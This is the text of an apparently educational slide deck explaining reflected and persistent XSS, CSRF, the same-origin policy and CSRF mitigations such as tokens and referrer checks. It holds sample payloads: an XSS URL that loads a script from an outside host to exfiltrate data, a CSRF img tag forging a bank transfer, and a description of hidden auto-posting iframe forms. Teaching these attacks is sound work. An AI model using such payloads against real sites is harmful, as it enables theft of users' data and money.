Cross-site scripting (XSS) and cross-site request forgery (XSRF) are two related web application vulnerabilities. XSS involves injecting malicious scripts into a web application to steal user data or perform actions on the user's behalf. XSRF tricks authenticated users into performing actions in a web application by submitting forged requests, since their browser will automatically include authentication cookies. While mitigations like validating HTTP referrers can help prevent XSRF, XSS can still be used to bypass these by scraping tokens or directly launching attacks from within compromised pages. Together, XSS and XSRF pose serious risks if not properly mitigated in web applications that handle sensitive data or perform sensitive actions.

2. THE CROSS-SITE ATTACKS
There are three flavors of cross-site scripting attacks (one of which leverages another,
so the argument can be made that there are only two)
1) Cross-Site Scripting – Leverages insufficient validation of a web-based application
to cause visitors to certain URLs to run scripts they do not intend to. Recall that
there are two types of XSS – reflected and persistent. Reflected refers to the
malicious script being referenced in a URL parameter, whereas persistent refers
to the HTML that loads the malicious script being permanently stored on the
server. XSS is most commonly used to scraping of data from a page / resource.
2) Cross-Site Request Forgery – Leverages a user’s current state of authentication
with a web-based application to execute commands the user does not intend to.
XSRF is most commonly used to get the server to do something unintended.
3) Cross-Site History Manipulation – Leverages CSRF to infer information about a
user authenticated to a web-based application. The information that can be
disclosed is commonly sensitive.

3. THE IMPORTANCE OF CROSS-SITE ATTACKS
As more and more sensitive operations are placed onto the internet, the potential
impact of web-application based exploitation continues to grow as well.
Fifteen years ago the world-wide web would hardly be considered for accessing highly
sensitive operations such as banking and financial management. This is hardly
the case today (how many of you have checked your bank accounts using your
phone or other internet-connected device today?)
XSS can be used to scrape information that you shouldn’t have access to, and XSRF
can leverage that data to submit requests that you don’t want being submitted
using your state of authentication with the web application.
Thus, XSS and XSRF are commonly used hand-in-hand to do some serious damage. If
you are developing systems that are web-facing and contain sensitive information
/ perform sensitive attacks it is crucial that you mitigate both XSS and XSRF
attacks on your application.

4. CROSS-SITE SCRIPTING (REFLECTED)
http://someVulnerableSite.com
Bob Mallory
In reflected XSS, Mallory gets Bob’s
browser to request a URL that contains a
value that will be “reflected” on the
resulting page – the goal of malicious
XSS being to have this reflected value
somehow send sensitive information to
Mallory. For instance, if
someVulnerableSite.com took a
parameter via query string and dropped it
on the page without cleaning it, Mallory
could send a URL to Bob that had the
malicious link in it.
http://someVulnerableSite.com?search=<scri
pt%20type=‘text/javascript’%20src=‘http://m
oarcodeplz.com/content/js/xss.js’></script>

5. CROSS-SITE SCRIPTING (PERSISTENT)
http://someVulnerableSite.com
Bob Mallory
In persistent XSS, Mallory is able to have
a value “baked in” to the web application,
and thus when users navigate to pages
that contain the value, the script
executes as expected. A common
location to see this happen is online
forums, where users are able to post
valid HTML to show others and the
values get persisted on the server. If
Mallory was to write a post that simply
contained the proper script, anyone that
viewed the post could be hit.

6. CROSS-SITE SCRIPTING EXAMPLE
http://someVulnerableSite.com
Sansomega
(or YOU!)
Sansomega
Let us see a quick example of how
reflected cross-site scripting can be used
to harvest potentially sensitive data.
I have set up a quick scraping demo via
Google Gruyere. To see how the same-
origin policy affects data exfiltration, try
the ajax link first.
Attempt to use AJAX and GET to exfiltrate
Use img and GET to exfiltrate

7. THE SAME ORIGIN POLICY
As per Wikipedia –
“In computing, the same origin policy is an important security concept for a
number of browser-side programming languages, such as JavaScript. The policy
permits scripts running on pages originating from the same site to access each
other's methods and properties with no specific restrictions, but prevents access
to most methods and properties across pages on different sites.”
As seen in the previous example (the AJAX one) the same origin policy presents a
hurdle for data exfiltration via XSS – an AJAX request could not be submitted to a
URL that was not owned the domain of the currently served page. To put this in
lay men’s terms, we could not submit an AJAX request to http://moarcodeplz.com
because the site that the AJAX request was originating from was http://google-
gruyere.appspot.com.

8. CROSS-SITE REQUEST FORGERY
As per Wikipedia
“Cross-site request forgery, also known as a one-click attack or session riding and
abbreviated as CSRF (sometimes pronounced sea-surf[1]) or XSRF, is a type of
malicious exploit of a website whereby unauthorized commands are transmitted
from a user that the website trusts.[2] Unlike cross-site scripting (XSS), which
exploits the trust a user has for a particular site, CSRF exploits the trust that a site
has in a user's browser.”
Cross-site request forgery is also known as CSRF, XSRF, “sea surf,” session riding,
cross-site reference forgery, and hostile linking.
Where XSS can hurt (you may disclose plenty of sensitive information via XSS), in this
day and age privacy is hardly expected anymore. XSRF, on the other hand, can be
incredibly damaging to your financials, your interwebz reputation, or anything else
that is hooked into the world-wide web.

9. HOW DOES XSRF WORK? (GENERAL IDEA)
Cross-site request forgery relies on the fact that the target (Alice) is currently authenticated
to a system that the attacker (Mallory) would like to tamper with. The most common
analogy that can be found on the web is that of online banking. Let’s run through an
example of how an insecurely designed sensitive application could be vulnerable.
1) Alice logs into AliceBank.com and checks her balance. She then opens up another tab
and starts browsing Slashdot.org.
2) AliceBank.com allows its customers to transfer money at the drop of a hat, and the
page that does this uses a query string for parameter passing. Thus, if Alice used the
AliceBank.com web interface to transfer fifty dollars to Bob, the page that would be
requested would be
http://AliceBank.com/transfer.php?from=Alice&to=Bob&amount=50.
3) The developers of AliceBank.com think that this is safe, as they are making sure that
the individual specified in the “from” field is currently authenticated with their
application on the server side. Thus, no one but Alice can submit this request.

10. HOW DOES XSRF WORK? (GENERAL IDEA) (2)
Granted that manipulating application state via GET requests is a web-dev 101
DONTDOTHIS, how can the attacker possible forge a request if they aren’t
authenticated as Alice?
They can get Alice to submit the request unknowingly, which is the reason that XSRF is
commonly referred to as “session riding,” – the attacker is piggy-backing on an
authenticated session of their target.
4) Mallory, knowing that Alice is a SlashDot fanatic, and also knowing that SlashDot allows
for images to be posted in comments (almost positive this is incorrect, but roll with me
here), posts the same comment in every article that she thinks Alice might read. The
image that she keeps posting is not, in fact, an image, but is instead the following:
<img
src=‘http://AliceBank.com/transfer.php?from=Alice&to=Mallory&amount=99999’/>
5) When Alice visits any of the pages that contain this “image” on them, as per the proper
operating procedure of browsers, her browser will request the image’s url. As the
browser can not know that the url does not point to an actual image until the request is
returned, the same-origin policy can not apply here.

11. HOW DOES XSRF WORK? (GENERAL IDEA) (3)
6) Because the application developers allowed server-state manipulation via GET
requests and only relied on server-side session state as authentication of
requests, this attack would work very easily.
As can be seen in this example, the name XSRF comes from the following:
Cross-site: A URL is requested from a site outside the requested URL’s domain.
Request forgery: A request is made using the authentication of an unwitting individual

12. HOW DOES XSRF WORK? (VISUAL)
AliceBank.com MallorySite.com
Bob Mallory
1) Bob is authenticated to AliceBank.com
2) Mallory somehow (commonly via social engineering) gets
Bob to visit a website that has her XSRF attack in it. For
this example, let us say that site is MallorySite.com, and
that the XSRF attack is an iframe that auto-posts to
AliceBank.com, submitting a request to transfer money
from Bob to Mallory.
3) Bob requests the site that Mallory wants him to.
4) The MallorySite.com page is sent back to Bob’s browser
and thus rendered.
5) A request is sent (unbeknownst to Bob) to AliceBank.com
to transfer money from Bob to Mallory. The application
checks to see that the individual trying to initiate the
transfer is authenticated as Bob, which checks out to be
true, and thus the transaction is made.
(2)
(3)
(4)
(5)

13. SO LET’S JUST USE POST INSTEAD OF GET!
Hey now, that’s a great idea! If the example that we ran through used POST instead of
GET, then the attack that we looked at wouldn’t have worked! Let’s just change
that over and clean our hands of this whole mess!
HTTP GET requests can most commonly be detected by the presence of a query string
at the end of a URL. A GET request is not supposed to modify any server state! Ex:
http://moarcodeplz.com?what_is_this=this_is_a_query_string
HTTP POST requests are requests that are sent to the server with details placed
within the request itself – thus a URL will not tell anything about the sent data in
a POST request.
Images, CSS references, and other objects that are placed on a page can not be
retrieved using post requests (they must use get requests). Thus, the attack
vector that we just discussed would not work if the money transfer was done via
POST instead of GET.
So that’s it then, right? GET -> POST -> ??? -> Profit?

14. EH…..

15. POST MAY BE A DETERRENT…
But it certainly is not a mitigation.
Simple links can no longer be used to exploit the XSRF vulnerability, nor can AJAX be
used on another site to submit a POST request, but synchronous requests can
still be forged to foreign domains with a little JS-fu.
For instance, have a hidden form on your own site that submits when a user navigates
to the given page. The user will experience a full post-back but will likely have no
idea what actually happened (aside from the fact that they will end up on the
page that you posted to). To lower suspicions even further, you could throw this in
an iframe and keep any visible redirection from even occurring.
Bottom line here is that simply changing protocols from GET to POST is insufficient for
mitigating XSRF vulnerabilities.

16. XSRF MITIGATION
There are a handful of ways to mitigate XSRF, and the following approaches assume that
the developers have already taken into account the fact that only POST requests are
supposed to change server state.
1) Supply a “key” with any forms that your web site contains. A hidden field can be placed
within a form that has a randomly generated “key.” Upon receiving a POST request, the
server will check to see if the key that was submitted alongside the POST was in fact
the one that was issued to the given user. If it is not, the request can be discarded. As
there are no legitimate reasons (aside from improper programming) for the keys not to
match, receiving keys that do not match can be considered for an alert that your site is
“under attack.” This can also be done with URLs instead of only forms.
2) Checking that the HTTP referrer of the submitted request is that of your own site. In
XSRF, the request will be submitted from a site that is not yours, and as such the HTTP
referrer will reflect this. If the HTTP referrer of a submitted request does not match
your domain, then this too can be considered for an alert that your site is “under
attack.”

17. XSRF AND XSS – BFFS FOREVER
Hey Chris, what’s that thing that you said earlier about XSS and XSRF, something
about them getting along really well?

18. WHY IS THIS?
If you’re experienced with XSS and XSRF, please don’t shout this out.
Let us assume that the developers of AliceBank.com have taken the necessary steps
to ensure that their application is no longer vulnerable to XSRF, but they haven’t
gotten around to patching all of their XSS holes.
Recall that XSS allows us to scrape otherwise hidden information off of a given page,
and to insert whatever we want onto the page as well. How would this be a
problem for a site that is protected against XSRF but not XSS?

19. RUH ROH! STILL VULNERABLE TO XSRF!
The mitigations that we previously discussed for
XSRF are broken if the site is still vulnerable to XSS!
1) XSS can be used to scrape tokens off of the site
and send them to Mallory, thus circumventing
the token-based XSRF mitigation.
2) XSS allows the attacker (nearly) full control over
the contents of a page. If that’s so then why
don’t we just launch our XSRF attack from
within the XSS-vulnerable page itself, thus
circumventing HTTP referrer checking
mitigation.

20. PRACTICAL XSRF APPLICATION
Given the current state of security on the web, what are the chances that there exists a web site
that transfers money like the one in the example? I’m guessing there may actually be one,
but I doubt it’s very big.
That being said, what is XSRF commonly used for?
1) Changing router / firewall settings – Chances are that most home routers require you to be
locally connected to access the router control panel. This gives a false sense of security,
because why put an additional password on your router interface if you have to be
authenticated with your WPA2-secured wifi network to access it? Well, if XSRF is crafted
correctly a target could take down his entire firewall without even knowing it (XSRF initiates
from the client’s browser, and thus is within the authentication realm of the local network).
2) Poking at intranet sites – Chances are that large companies have an intranet that is only
accessible if you’re on the company’s network. The attacker may not be, but the target (if
they open the wrong page on their work machines) is readily authenticated, thus with
carefully crafted XSRF an attacker can poke around a company’s intranet without
compromising any account credentials.
3) Really anything in which an attacker can get an authenticated individual to execute a request
of the attacker’s choosing.

21. QUESTIONS / COMMENTS
Let’s hear em!